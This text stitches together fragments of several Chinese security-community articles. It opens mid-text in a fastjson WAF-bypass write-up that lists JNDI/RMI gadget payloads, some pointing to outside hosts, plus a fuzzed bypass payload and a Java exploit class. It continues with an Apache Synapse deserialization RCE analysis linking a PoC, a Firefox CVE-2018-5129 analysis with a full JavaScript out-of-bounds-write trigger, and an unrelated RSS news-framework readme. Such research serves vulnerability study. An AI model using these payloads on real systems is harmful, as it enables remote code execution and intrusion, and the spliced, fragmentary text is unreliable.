{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://localhost:1099/Exploit\"} AnterosDBCPConfig
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://localhost:1099/Exploit\"} AnterosDBCPConfig
{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\":{\"UserTransaction\":\"rmi://localhost:1099/Exploit\"}} JtaTransactionConfig
基于规则的防御也很多，规则防御的思路也是将payload中的利用类防御即可,当然有些防御思路也是"@type"。
大概清楚了fastjson是怎样一个组件，以及漏洞利用过程(JNDI注入，对于漏洞原理这一块不展开讲，先知各位师傅已经分析的很详细)，搭建waf，自然，原始的payload直接就被干掉了。猜测肯定是过滤了恶意的类名称，
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
@type":"com.sun.rowset.JdbcRowSetImpl，即是被过滤地方，确定了防护点以后，其实有的师傅说@type可以进行unicode编码，但还是被拦截，又想到XCTF-校战“疫”中的ctf题目的一个payload：
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://111.231.17.208:3888"}
还是不行，针对type的变形好像都被拦截了
没办法了，fuzz一波吧，在其它师傅fuzz框架的基础上，自己写了一版带ui界面的临时fuzz工具，主要是插入一些脏字符,因为是无回显的命令执行，所以只能一边监听着nc来确定是否fuzz成功，没有用dnslog，是因为实际操作fuzz量较大，dns请求较慢。
这里其实我遇到一个问题，发送payload，目标fastjson对外发起了请求，是否可以判定fastjson是否存在漏洞呢？答案是可以的，因为，fastjson对外发起了dns请求，说明jndi注入已经成功，漏洞已经触发到lookup方法。
放上自己丑丑的fuzz
fuzz还是蛮给力的，成功fuzz出来了 \b所以绕过payload即为
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
只能放在冒号前后，其实工作到这里已经结束了，但是不禁会问自己一句.......why?
动态跟一波~
### pom文件
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
### exp
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class exp {
public static void main(String[] args){
String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://10.251.0.111:9999\",\"\"autoCommit\":true}";
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
第一个断点当然是下在反序列化入口点
然后单步跟进就好，流程不长，直到skipWhitespace 方法，我们可以明显看到这个方法做了哪些操作
本来这里是处理@type过程(具体分析参考<http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/)，但是由于这个方法，我们可以插入if中的这几个字符，作为绕过payload>
贴上此时的调用栈如下
skipWhitespace:2702, JSONLexerBase (com.alibaba.fastjson.parser)
parseObject:226, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:9, exp
一个小tips，希望不要被陈师傅踢出群(求生欲爆棚~)
参考文章
<http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/> | 社区文章 |
### 0x01. 漏洞概述
近日，CVE更新了一个 Apache Synapse的严重安全漏洞。该漏洞存在于版本低于3.0.1的 Synapse产品上，允许攻击者在运行有 Apache
Synapse的目标系统上远程执行任意代码。目前，国家信息安全漏洞共享平台（CNVD）已对该漏洞进行了收录（CNVD-2017-36700，对应CVE编号:CVE-2017-15708）。
### 0x02. 漏洞分析
从官网上下载 Apache Synapse2.1的源码，IDE打开载入。在依赖包列表中，可以看到 Commons-collections3.1的身影。该包的存在使得 Apache Synapse上有关序列化/反序列化的操作变得十分危险。因此此时要触发
Synapse中的反序列化远程命令执行漏洞，只需确认 Synapse中存在反序列化的相关操作即可。
通过对比启动 Synapse前后的端口开放情况，可以明显的看到，Synapse 启动后会对 1099 这个端口进行监听。默认情况下，该端口是 Java
RMI 服务的默认监听端口。而 RMI 正是 100% 基于序列化操作的。如果该端口上运行的恰好是 RMI 服务，那么触发漏洞的两个条件至此就全部满足了。
为了不让分析停留在猜测上，我们跟踪一下程序的执行过程。通过搜索关键字 `main` ，在排除一些官方 demo 造成的干扰后，找到程序的入口函数在
`SynapseServer` 类中。
在 Synapse 开发人员友好的注释帮助下，忽略和排除掉一些诸如"启动失败"之类的无关代码。因为要证明的是 Synapse
在启动过程中执行过序列化有关的代码，因此在跟踪过程中，对一些异常情况可以先忽略不理，直接看执行成功这一种情况的流程即可。依照这个原则，跟随程序执行依次来到了
`ServerManager` 类中的`start()`方法以及 `SynapseController` 的 `start()`方法上。 其中，由于
`Axis2SynapseController` 是 `SynapseController` 接口的实现类，所以直接跟踪
`Axis2SynapseContrllor` 的`start()`方法即可。 `Axis2SynapseContrllor`
的`start()`方法如下：
继续略过无关代码后，直接来到 `Axis2SynapseContrllor` 的 `start()`
方法的尾部。从官方的注释来看，如果启动顺利，到这里JMX已经配置并启动成功了，准备输出相关信息。但在输出前做了一个对象是否创建成功的判断，所以这里我们跟进这个对象看看是如何创建的，可以回溯一下前面略过的过程。
以关键字 `jmxAdapter` 搜索文档，在当前类 `Axis2SynapseContrllor` 中可以发现
`jmxAdapter`对象的实例化代码如下：
继续跟进后来到 `JmxAdapter` 类的 `start()` 方法下。容易在方法中找到 "RMI" 的关键字，跟进进去，最后在
`RMIRegistryController` 类中看到了看到了熟悉的注册 "RMI" 服务的代码：
可见， Apache Synapse 在启动的过程中，确实使用了 RMI 的方法实现了 JMX ，而 Synapse 的源码中又使用了存在脆弱性的
Commons-Collections 依赖包，因此通过向运行有 RMI 服务的 Synapse
服务器发送精心构造过的序列化数据，攻击者便可以达到在远程服务器上执行任意命令的目的。
### 0x03. 受影响情况分析
开启了全程使用序列化数据传输的Java RMI服务是触发该漏洞的条件之一，该服务使用的1099默认端口在全网的开放情况如下(未确认风险)：
该服务的端口在全国的开放情况如下(未确认风险)：
### 0x04. 时间线
* 2017年12月10日 更新漏洞报告
* 2017年12月11日 创建CVE
* 2017年12月15日 昊天实验室发布漏洞分析
### 0x05. 漏洞验证与修复
我们提供了一个验证工具验证主机是否存在漏洞：<https://github.com/hucheat/APacheSynapseSimplePOC>
* 在远程服务器上弹出计算器验证：
* 反弹 MSF会话：
**修复建议**
* **目前Apache已发布修复该漏洞的 Synapse 新版本3.0.1，请到官网下载并更新新版本。**
### 相关资料
[1] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15708>
[2] <http://www.securityfocus.com/bid/102154>
[3] <http://www.cnvd.org.cn/flaw/show/CNVD-2017-36700>
[4] <http://synapse.apache.org/download/3.0.1/download.cgi>
[5] <https://github.com/hucheat/APacheSynapseSimplePOC> | 社区文章 |
# Firefox IPC消息处理越界写漏洞（CVE-2018-5129）分析
##### 译文声明
本文是翻译文章，文章原作者 loopsec，文章来源：infinite.loopsec.com.au
原文地址：<https://infinite.loopsec.com.au/cve-2018-5129-how-i-found-my-first-cve>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
本文主要对我在去年年底发现的Firefox漏洞进行分析。在深入到细节之前，首先要聊聊在我开发漏洞利用程序过程中的体会，以及在过去几个月中发生的事情。
从去年11月开始，我决定想要做一些更加“现实”的漏洞利用。我希望选择一个在调试和漏洞利用方面都实际可行的目标，并且相关的学习资料最好能易于获得。基于此，我挑选了一个浏览器，也就是Firefox进行漏洞研究。不止是因为这款浏览器在开发和维护过程中都有大量的文档可做参考，还因为这是一个完全开源的软件，此前也有一些漏洞利用的研究成果，并且看起来非常有趣！
我认真分析了Firefox此前被发现的所有漏洞，并选择了其中一个比较有趣的CVE-2017-5428。这个漏洞的有趣之处在于，它曾经在Pwn2Own
2017中被使用过，而且这一漏洞可以通过JavaScript进行利用。既然如此，我的目标就是弹出calc.exe（针对Windows）或calc.app（针对macOS）。
在度过了几个不眠之夜，尝试对CVE-2017-5428进行漏洞利用之后，我开始意识到，我实际上已经针对一个完全不同的漏洞实现了漏洞利用。大家可能想问，你是怎么根据原有漏洞发现另一个漏洞的？其实，这个新漏洞其实是我在尝试进行原有漏洞利用过程中无意发现的，我甚至一开始没有意识到它本身就是一个漏洞。事实证明，这是一次非常有趣的体验。
## 二、漏洞概览
### 2.1 CVE-2017-5428（Pwn2Own）
2017年3月17日，Firefox发布了一份报告（ <https://www.mozilla.org/en-US/security/advisories/mfsa2017-08/>
），详细说明了Chaitin安全研究实验室发现的一个漏洞（CVE-2017-5428），该漏洞影响52.0.1版本以下的火狐浏览器。由于Pwn2Own
2017上的演示（ <https://www.thezdi.com/blog/2017/3/15/pwn2own-2017-day-two-schedule-and-results> ），趋势科技的Zero Day
Initiative随即报告了这一漏洞。该漏洞的Firefox参考（Bug#1348168，
<https://bugzilla.mozilla.org/show_bug.cgi?id=1348168>
）中包含了有关漏洞利用、漏洞分析和缓解方案的内部讨论。
CVE-2017-5428是由于createImageBitmap()函数中存在整型溢出漏洞。具体来说，ImageBitmap对象接受ArrayBuffer或ArrayBufferView作为参数的构造函数发生了重载。
### 2.2 CVE-2018-5129
2018年3月13日，Firefox发布了一份咨询报告（ <https://www.mozilla.org/en-US/security/advisories/mfsa2018-06/#CVE-2018-5129>
），披露了我在CVE-2017-5428漏洞利用过程中发现的新漏洞。该漏洞可以在52.0.1版本以下的Firefox中从非特权JavaScript中触发。但在较新版本的Firefox中，需要使用一些加密视频文件元数据来制作触发器，这一过程比较棘手。
本文将重点介绍CVE-2018-5129的技术细节以及触发器的制作过程。
## 三、理解漏洞：一些重要的对象
在我们进入到对漏洞的技术分析之前，我认为首先了解一些重要对象的用途，并弄清它们在浏览器中的工作方式，这一点是至关重要的。
### 3.1 ImageBitmap
第一个重要的对象是ImageBitmap对象，这一对象是用于存储位图图像的接口，可以绘制到<canvas>元素上，并且不会有任何明显的渲染时间。有很多方法可以使用createImageBitmap()工厂方法模式（Factory
Method）创建对象，但由于CVE-2017-5428漏洞的存在，一些重载的构造函数已经失效。ImageBitmap对象还提供了一种异步的、资源友好的方式，准备用于在WebGL中呈现的纹理。
该对象具有两个属性：width和height，同时只有一个方法close()，该方法负责处理与ImageBitmap对象关联的所有图形资源。
### 3.2 ImageBitmapFormat
ImageBitmapFormat是一个包含许多成员的枚举类。枚举成员表示ImageBitmap对象可以采用多种不同的uint32_t内部格式。这些不同的格式，在枚举类中定义如下：
enum class ImageBitmapFormat : uint32_t {
RGBA32,
BGRA32,
RGB24,
BGR24,
GRAY8,
YUV444P,
YUV422P,
YUV420P,
YUV420SP_NV12,
YUV420SP_NV21,
HSV,
Lab,
DEPTH,
EndGuard_
};
### 3.3 RecyclingPlanarYCbCrImage & PlanarYCbCrImage
RecyclingPlanarYCbCrImage和PlanarYCbCrImage表示原始图像数据。
PlanarYCbCrImage和Recycling对象之间的区别在于，Recycling对象使用内部缓冲区分配机制。它有一个简单的Array，用于存储当前分配或释放的每个缓冲区。这样以来，初始化和分配的新对象将从空闲缓冲区数组中得到缓冲区，从而实现对旧内存的回收，而不是继续请求更多内存空间。
## 四、漏洞详情
首先，我们来看看脱离上下文环境的漏洞。所谓脱离上下文环境，就是我们首先了解存在漏洞的函数和类，但暂时不关注如何从JavaScript实现对漏洞的利用。我们将在下一章中对代码库进行跟踪，并开发JavaScript触发器。
### 4.1 函数#1 – RecyclingPlanarYCbCrImage::CopyPlane
第一个相关的函数是下面展示的CopyPlane函数。这一函数名称直接说明了它的功能——将aSrc缓冲区复制到aDst缓冲区中。但是，该函数会根据aSkip参数的不同，执行以下两种复制类型中的一种：
如果aSkip == 0，将采用“快速路径（Fast
Path）”。这一路径使用memcpy函数将aSrc缓冲区复制到aDst缓冲区中。大小计算基于aSize.height *
aStride的结果，它们都是由调用函数提供的。
如果aSkip != 0，将采用“慢速路径（Slow Path）”。这一路径使用嵌套的for循环对aSrc和aDst缓冲区进行循环，每次循环复制一个字节。
CopyPlane(uint8_t *aDst, const uint8_t *aSrc, const gfx::IntSize &aSize, int32_t aStride, int32_t aSkip)
{
if (!aSkip) { /* 1 */
// Fast path: planar input.
memcpy(aDst, aSrc, aSize.height * aStride);
} else { /* 2 */
int32_t height = aSize.height;
int32_t width = aSize.width;
for (int y = 0; y < height; ++y) {
const uint8_t *src = aSrc;
uint8_t *dst = aDst;
// Slow path
for (int x = 0; x < width; ++x) {
*dst++ = *src++;
src += aSkip; /* Nuance 1 */
}
/* Nuance 2 */
aSrc += aStride;
aDst += aStride;
}
}
}
CopyPlane提供的功能并不是始终不变的，通常DOM和JavaScript引擎会提供经优化后的“Fast”路径和一个较慢的“Slow”路径，以便在满足特定条件的情况下提高处理速度。在这种情况下，我们还需要了解二者的一些细微差别。
如果在“Slow Path”中使用aSkip参数，就意味着如果aSkip =
1（或任何非0数值），那么内层x循环内的每次循环都将跳过aSrc缓冲区的1个字节。这一点非常重要，需要在后续利用。
在内层x循环完成后，每次循环都会使用aStride参数。同样，如果aStride =
1，那么外层y循环的每次迭代都将跳过aSrc和aDst缓冲区的1个字节。
现在，我们对于CopyPlane函数的运行方式有了一定了解，接下来让我们来看看调用函数。
### 4.2 函数#2 – RecyclingPlanarYCbCrImage::CopyData
在这种情况下，我们调用的函数是CopyData，该函数只有一个参数aData。CopyData充当CopyPlane函数的包装器，用于计算大小、分配目标缓冲区，并通过3次调用CopyPlane，在3个独立的通道上执行复制操作。为简单起见，我们只展示了与漏洞相关的代码部分。
RecyclingPlanarYCbCrImage::CopyData(const Data& aData){
mData = aData;
/* 1 */
// update buffer size
size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;
/* 2 */
// get new buffer
mBuffer = AllocateBuffer(size);
/* 3 */
if (!mBuffer)
return false;
// update buffer size
mBufferSize = size;
mData.mYChannel = mBuffer.get();
mData.mCbChannel = mData.mYChannel + mData.mYStride * mData.mYSize.height;
mData.mCrChannel = mData.mCbChannel + mData.mCbCrStride * mData.mCbCrSize.height;
/* 4 */
CopyPlane(mData.mYChannel, aData.mYChannel, mData.mYSize, mData.mYStride, mData.mYSkip);
CopyPlane(mData.mCbChannel, aData.mCbChannel, mData.mCbCrSize, mData.mCbCrStride, mData.mCbSkip);
CopyPlane(mData.mCrChannel, aData.mCrChannel, mData.mCbCrSize, mData.mCbCrStride, mData.mCrSkip);
...
}
最初，在跟踪CVE-2017-5428的代码时，整型溢出体现得非常明显。变量size被定义为size_t（默认情况下为无符号整数），在64位系统上存储为最大的ULONG_MAX类型，在32位系统上存储为UINT_MAX。Firefox默认为64位，因此需要一些计算，来精确算出其每个组件的大小，以便让我们能够控制溢出。但是，经计算，我们可以轻松地对大小变量进行溢出。然后，得到的整数值可以用于缓冲区分配。这一整型溢出是Chaitin安全研究实验室在Pwn2Own上展示的基础，但我还是建议各位读者阅读该团队的漏洞报告并对其尝试利用。
在计算大小之后，我们从RecycleBin中分配一个缓冲区。这样就意味着，我们的缓冲区将被RecyclingPlanarYcbCrImage对象中这个实例分配的预先存在的缓冲区列表所使用。
在有了缓冲区之后，就会继续为每个通道计算适当的偏移量。每一个通道代表不同的色彩空间，共同作为YCbCr色彩空间系列的一部分。最后，使用相关参数调用我们的CopyPlane函数。
需要注意的一件事是，这个函数是mData成员。在第二行，mData被设置为等于aData参数，这就意味着在我们的3个CopyPlane调用中，包含aData参数的任何内容都不会被CopyData函数所修改。反过来，任何未被修改的mData成员都与aData成员相同（例如每个通道成员变量）。
### 4.3 越界访问写入
作为漏洞利用开发过程的一部分，我对两个函数执行了相同级别的分析，并确定了其中的关键点。就是在这个过程中，我发现了CVE-2018-5129的存在，但直到我通过触发器成功实现堆喷射（Heap-spray）和信息泄露，我才意识到这是一个新的漏洞。
此漏洞的第一部分，是计算CopyData函数中的size变量。这一计算过程会用到mData的以下成员：
mData.mCbCrStride <--- CbCr Stride
mData.mCbCrSize.height <--- CbCr Height
mData.mYStride <--- Y Stride
mData.mYSize.height <--- Y Height
计算过程会使用两个单独的“Channel”对象的跨度（Stride）和高度（Height）来计算总缓冲区大小，因此要分别计算mYChannel、mCbChannel和mCrChannel每个目标mBuffer的大小。
起初，我认为这个计算过程除了已被发现的整型溢出漏洞之外没有问题。但直到我仔细研究了CopyPlane函数的慢速路径，我才注意到这个微妙的问题。
int32_t height = aSize.height;
int32_t width = aSize.width;
for (int y = 0; y < height; ++y) {
const uint8_t *src = aSrc;
uint8_t *dst = aDst;
// Slow path
for (int x = 0; x < width; ++x) { <----- HERE!!
*dst++ = *src++;
src += aSkip;
}
/* b */
aSrc += aStride;
aDst += aStride;
}
上述代码片段是CopyPlane函数的“慢速路径”。如前所述，它使用“Slow”嵌套for循环，对aSrc和aDst缓冲区进行循环，并逐字节复制图像数据。然而，内层循环中的宽度（Width）存在漏洞，内层循环使用width属性来计算x轴。这就是漏洞的第二部分。
这里的问题在于，CopyData中mBuffer变量的大小计算和后续分配，都不会再使用width变量。它会根据高度和跨度计算目标缓冲区的大小，与宽度无关。然后，我们的CopyPlane函数会迭代aSrc和aDst的高度和宽度。
所以回顾一下，我们有以下两个条件：
1、基于高度*跨度计算尺寸；
2、嵌套的for循环，其中内层for循环遍历缓冲区的宽度，而这个宽度是在第一步中未考虑过的变量。
因此，我迅速编写了一个触发器，用了大概几小时的时间。之后，我便可以通过越界访问写入漏洞，成功使得52版本的Firefox崩溃。
## 五、制作触发器
目前，我们已经掌握了漏洞，接下来需要证明该漏洞确实影响浏览器。在本章中，我将确定受漏洞影响代码的最简单路径，并通过JavaScript触发器来实现每一个步骤。
在探索了许多潜在的代码路径之后，我们发现针对52版本的Firefox，最简单的方法就是通过公开的CreateImageBitmap()函数。我们要想成功运行calc.exe，大概需要如下几个步骤：
1、createImageBitmap()
2、ImageBitmap::Create
3、ImageBitmap::CreateImageFromBufferSourceRawData
4、CopyData
5、CopyPlane
### 5.1入口点
createImageBitmap函数是一个可以从Web Worker或主线程调用的工厂方法，它有很多重载，但我们感兴趣的是这一个：
createImageBitmap(buffer, offset, length, 'FORMAT', [layout1, layout2, layout3]);
这就是我们的入口点。从这里开始，我们可以研究引擎的更深层次。
### 5.2 ImageBitmap构造函数
ImageBitmap对象的构造函数与JavaScript的入口点非常相似。它使用缓冲区、偏移量、长度、格式和布局，负责初始化和创建ImageBitmap对象。
/*static*/ already_AddRefed
ImageBitmap::Create(nsIGlobalObject* aGlobal,
const ImageBitmapSource& aBuffer, /* 1 */
int32_t aOffset, /* 2 */
int32_t aLength, /* 3 */
mozilla::dom::ImageBitmapFormat aFormat, /* 4 */
const Sequence& aLayout, /* 5 */
ErrorResult& aRv)
aBuffer：表示我们将从中创建ImageBitmap的ArrayBuffer或ArrayBufferView。
aOffset：一个有符号32位整数，表示aBuffer中的偏移量，用于从中提取ImageBitmap数据。
aLength：一个有符号32位整数，表示对象的长度。
aFormat：表示创建ImageBitmap时aBuffer的格式。
aLayout：ImageBitmap的布局对象数组。
下面是构造函数相关的代码：
...
uint8_t* bufferData = nullptr;
uint32_t bufferLength = 0;
/* 1 */
if (aBuffer.IsArrayBuffer()) {
const ArrayBuffer& buffer = aBuffer.GetAsArrayBuffer();
buffer.ComputeLengthAndData();
bufferData = buffer.Data();
bufferLength = buffer.Length();
} else if (aBuffer.IsArrayBufferView()) {
const ArrayBufferView& bufferView = aBuffer.GetAsArrayBufferView();
bufferView.ComputeLengthAndData();
bufferData = bufferView.Data();
bufferLength = bufferView.Length();
} else {
aRv.Throw(NS_ERROR_NOT_IMPLEMENTED);
return promise.forget();
}
...
/* 2 */
// Check the buffer.
if (((uint32_t)(aOffset + aLength) > bufferLength)) {
aRv.Throw(NS_ERROR_DOM_INDEX_SIZE_ERR);
return promise.forget();
}
// Create and Crop the raw data into a layers::Image
RefPtr data;
/* 3 */
if (NS_IsMainThread()) {
data = CreateImageFromBufferSourceRawData(bufferData + aOffset, bufferLength,
aFormat, aLayout);
} else {
...
}
...
}
在构造函数中，我们需要理解3个重要的地方：
1、确保aBuffer或我们的aSrc是ArrayBuffer或ArrayBufferView。
2、该检查确保我们提供的aOffset和aLength小于第一部分中计算的bufferLength。
3、最后，需进行检查，以确保在主线程上执行。如果我们决定从Web-worker创建ImageBitmap对象，那么这一if语句的值将为False，而else语句中将负责求值。因此，if(NS_IsMainThread())的计算结果必须要为True，因为我们下一阶段必须要用到CreateImageFromBufferSourceRawData函数。
此时，我们构造的触发器可能如下所示：
try{
var aBuffer = new Uint8Array(0x100000);
var aOffset = 0;
var aLength = 0x1000;
bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'FORMAT', [...]);
} catch (ex) {
console.log(ex);
}
### 5.3 CreateImageFromBufferSourceRawData
由于涉及到包含了许多不同图像格式的大型switch语句，因此这个函数需要花费一定时间来进行研究。最终我们发现，该函数接受aBufferData、aBufferLength、aFormat和aLayout参数。通过对这些参数进行操纵，就可以调用存在漏洞的CopyData函数。
CreateImageFromBufferSourceRawData(const uint8_t *aBufferData, /* 1 */
uint32_t aBufferLength, /* 2 */
mozilla::dom::ImageBitmapFormat aFormat, /* 3 */
const Sequence& aLayout)/* 4 */
const uint8_t *aBufferData：如ImageBitmap :: Create方法中的bufferData +
aOffset所描述，指向我们的aBufferData的指针。
uint32_t aBufferLength – 已经过验证并传入的无符号32位整数。
mozilla::dom::ImageBitmapFormat
aFormat：直接从ImageBitmap::Create方法传递的ImageBitmapFormat对象。
const Sequence<ChannelPixelLayout>&
aLayout：直接从ImageBitmap::Create方法传递的布局对象的地址。
CreateImageFromBufferSourceRawData方法用于从缓冲区创建图像。生成的ImageBitmap所采用的格式，取决于aFormat参数。这一aFormat参数会传递给switch语句，然后用于选择生成的ImageBitmap格式。这个对象可以采用许多不同的格式，但在Firefox
52.0发布时，只有两个条件（Case）可以实现：case ImageBitmapFormat::DEPTH:和case
ImageBitmapFormat::YUV420SP_NV21:。
我们感兴趣的是后者这种条件。
case ImageBitmapFormat::RGBA32:
case ImageBitmapFormat::BGRA32:
case ImageBitmapFormat::RGB24:
case ImageBitmapFormat::BGR24:
case ImageBitmapFormat::GRAY8:
case ImageBitmapFormat::HSV:
case ImageBitmapFormat::Lab:
case ImageBitmapFormat::DEPTH:
{
...
}
case ImageBitmapFormat::YUV444P:
case ImageBitmapFormat::YUV422P:
case ImageBitmapFormat::YUV420P:
case ImageBitmapFormat::YUV420SP_NV12:
case ImageBitmapFormat::YUV420SP_NV21:
{
TARGET
}
我们的目标格式YUV420SP_NV21，是一种特定的颜色编码格式，被称为YUV。该格式通常作为彩色图像通道的一部分。我们在调用createImageBitmap时，只需要让aFormat参数的值为字符串“YUV420P”即可进入到这种条件（Case）。
YUV420SP_NV21条件体的内容如下所示：
...
// Prepare the PlanarYCbCrData.
/* 1 */
const ChannelPixelLayout& yLayout = aLayout[0];
const ChannelPixelLayout& uLayout = aFormat != ImageBitmapFormat::YUV420SP_NV21 ? aLayout[1] : aLayout[2];
const ChannelPixelLayout& vLayout = aFormat != ImageBitmapFormat::YUV420SP_NV21 ? aLayout[2] : aLayout[1];
layers::PlanarYCbCrData data;
// Luminance buffer
data.mYChannel = const_cast<uint8_t*>(aBufferData + yLayout.mOffset);
data.mYStride = yLayout.mStride;
data.mYSize = gfx::IntSize(yLayout.mWidth, yLayout.mHeight);
data.mYSkip = yLayout.mSkip;
// Chroma buffers
data.mCbChannel = const_cast<uint8_t*>(aBufferData + uLayout.mOffset);
data.mCrChannel = const_cast<uint8_t*>(aBufferData + vLayout.mOffset);
data.mCbCrStride = uLayout.mStride;
data.mCbCrSize = gfx::IntSize(uLayout.mWidth, uLayout.mHeight);
data.mCbSkip = uLayout.mSkip;
data.mCrSkip = vLayout.mSkip;
// Picture rectangle.
// We set the picture rectangle to exactly the size of the source image to
// keep the full original data.
data.mPicX = 0;
data.mPicY = 0;
data.mPicSize = data.mYSize;
/* 2 */
// Create a layers::Image and set data.
if (aFormat == ImageBitmapFormat::YUV444P ||
aFormat == ImageBitmapFormat::YUV422P ||
aFormat == ImageBitmapFormat::YUV420P) {
/* 3 */
RefPtr image = new layers::RecyclingPlanarYCbCrImage(new layers::BufferRecycleBin());
...
/* 4 */
// Set Data.
if (NS_WARN_IF(!image->CopyData(data))) {
return nullptr;
}
return image.forget();
} else {
...
}
正如我们所看到的，目前已经能够理清一些头绪了。
1、在这里，有几行代码用于将布局对象的数量提供给createImageBitmap函数。两个内联的布尔表达式根据aFormat参数来确定布局的顺序。我们现在需要3个布局对象：yLayout、uLayout和vLayout。需要注意一点，在第一步完成后，我们的aBufferData和布局对象上有许多操作，这些操作将我们的数据对象设置为从3个布局对象传递给CopyData。
2、这次检查只是为了确保我们提供了YUV420P格式。
3、创建图像对象，我们的数据将被复制到该对象。这一对象是RecyclingPlanarYCbCrImage，存储在父类型PlanarYCbCrImage的RefPtr中。需要注意的是，每一个RecyclingPlanarYCbCrImage都要使用新的BufferRecyleBin对象进行初始化。
4、最后，CopyData函数被恶意数据对象调用。
现在，触发器如下所示：
try{
//Represents the Cr.. elements
vLayout = {
offset: 0,
width: 4,
height: 1,
dataType: 'uint8',
stride: 1,
skip: 0,
};
//represents our Y elements
yLayout = {
offset: 0,
//mData.mYSize:
width: 4, //mData.mYSize.width
height: 4, //mData.mYSize.height
dataType: 'uint8',
stride: 1, //mData.mYStride
skip: 1,
};
//Represents the Cb.. elements
uLayout = {
offset: 0,
//mData.mCbCrSize:
width: 0, //mData.mCbCrSize.width
height: 1, //mData.mCbCrSize.height
dataType: 'uint8',
stride: 4, //mData.mCbCrStride
skip: 1,
};
var aBuffer = new Uint8Array(0x100000);
var aOffset = 0;
var aLength = 0x1000;
bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'YUV420P', [yLayout, uLayout, vLayout]);
} catch (ex) {
console.log(ex);
}
在代码中，我已经写了一些注释，来描述哪些JavaScript布局对象与CreateImageFromBufferSourceRawData中的变量相关。
这使得我们更容易确定我们控制的CopyData函数的哪些部分。
### 5.4 CopyData和CopyPlane
我们现在回到易受攻击的代码中。如前所述，这两个函数中存在2个漏洞：
1、基于高度和跨度来计算大小。
2、嵌套的for循环，其中内层for循环遍历了缓冲区的宽度，这是在第一步中没有考虑过的变量。
我们需要进行的最后一步，是制作我们的布局对象，以便溢出aDst缓冲区。这里，需要用到一点数学知识。
如果aDst缓冲区是根据以下公式计算的：
size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;
并且，我们控制该公式中的4个部分，因此我们可以控制分配的aDst缓冲区的大小。
例如：
mData.mCbCrStride = 1
mData.mCbCrSize.height = 1
mData.mYStride = 1
mData.mYSize.height = 1024
size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;
size == 1026 bytes
因此，如果我们的aDst缓冲区长度为1026字节，我们所需要的只是让宽度>1026，就可以触发越界访问漏洞。
### 5.5 完成的触发器
现在，我们只需要将相关值，放入触发器中的JavaScript布局对象中：
try{
//Represents the Cr.. elements
vLayout = {
offset: 0,
width: 4,
height: 1,
dataType: 'uint8',
stride: 1,
skip: 0,
};
//represents our Y elements
yLayout = {
offset: 0,
//mData.mYSize:
width: 1, //mData.mYSize.width
height: 1024, //mData.mYSize.height
dataType: 'uint8',
stride: 1, //mData.mYStride
skip: 1,
};
//Represents the Cb.. elements
uLayout = {
offset: 0,
//mData.mCbCrSize:
width: 2048, //mData.mCbCrSize.width
height: 1, //mData.mCbCrSize.height
dataType: 'uint8',
stride: 1, //mData.mCbCrStride
skip: 1,
};
var aBuffer = new Uint8Array(0x100000);
var aOffset = 0;
var aLength = 0x1000;
bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'YUV420P', [yLayout, uLayout, vLayout]);
} catch (ex) {
console.log(ex);
}
并将其放入一些<script></script>标签中，那么就大功告成了！
## 六、总结
至此，我们已经对漏洞进行了深入分析，并编写了触发器。接下来就是弹出calc计算器了，而我将这个步骤作为练习，留给各位读者尝试。这个过程确实充满挑战，但也会有成功后的快感。
从决定进行一些现实世界的攻击，到发现我的第一个漏洞，再到编写触发器，以及制作EXP，最后到Firefox修复这一漏洞，整个过程的体验可以说非常棒。从技术角度来说，Firefox是一头复杂的野兽，如果任何读者想要深入了解浏览器的工作原理，我觉得Firefox是不二之选。
如果对本文有任何意见或建议，请随时在Twitter上联系我，[@0x4a47](https://github.com/0x4a47 "@0x4a47")。
## 七、时间线
2018年1月8日 报告漏洞
2018年2月11日 漏洞已修复
2018年3月13日 Firefox在FF59安全通告中发布了该漏洞
2018年7月30日 Firefox公开漏洞详情 | 社区文章 |
之前问了一下学长，目前的每日安全新闻推送框架有没有开源的，发现目前好像大家都是自己用自己的，也比较浪费时间，就有了写一个通用框架来推送信息的想法。
## 实现效果
日常解析RSS内容：
请忽略我的字体...
内置了155个插件，包含各个类别的安全博客、论坛、社区等。
## ReadMe
* 目录结构
├── generat_plugin.py
├── info_collect.py
└── plugins
├── ...
将文章分为web、re、pwn、generic、coding、news这几类，方便推送给用户时，用户可根据自身需求快速查看对应文章，如需增加类别，需要修改以下代码：
在model_types中添加你要新增的类别名称即可。
RSS源：[zer0yu/CyberSecurityRSS: RSS:
优秀的网络安全知识来源](https://github.com/zer0yu/CyberSecurityRSS)
存入mongodb的数据字段：
使用插件式开发，可以满足自定义插件以及自定义类别的需求，只需要按照格式写好对应的插件即可。
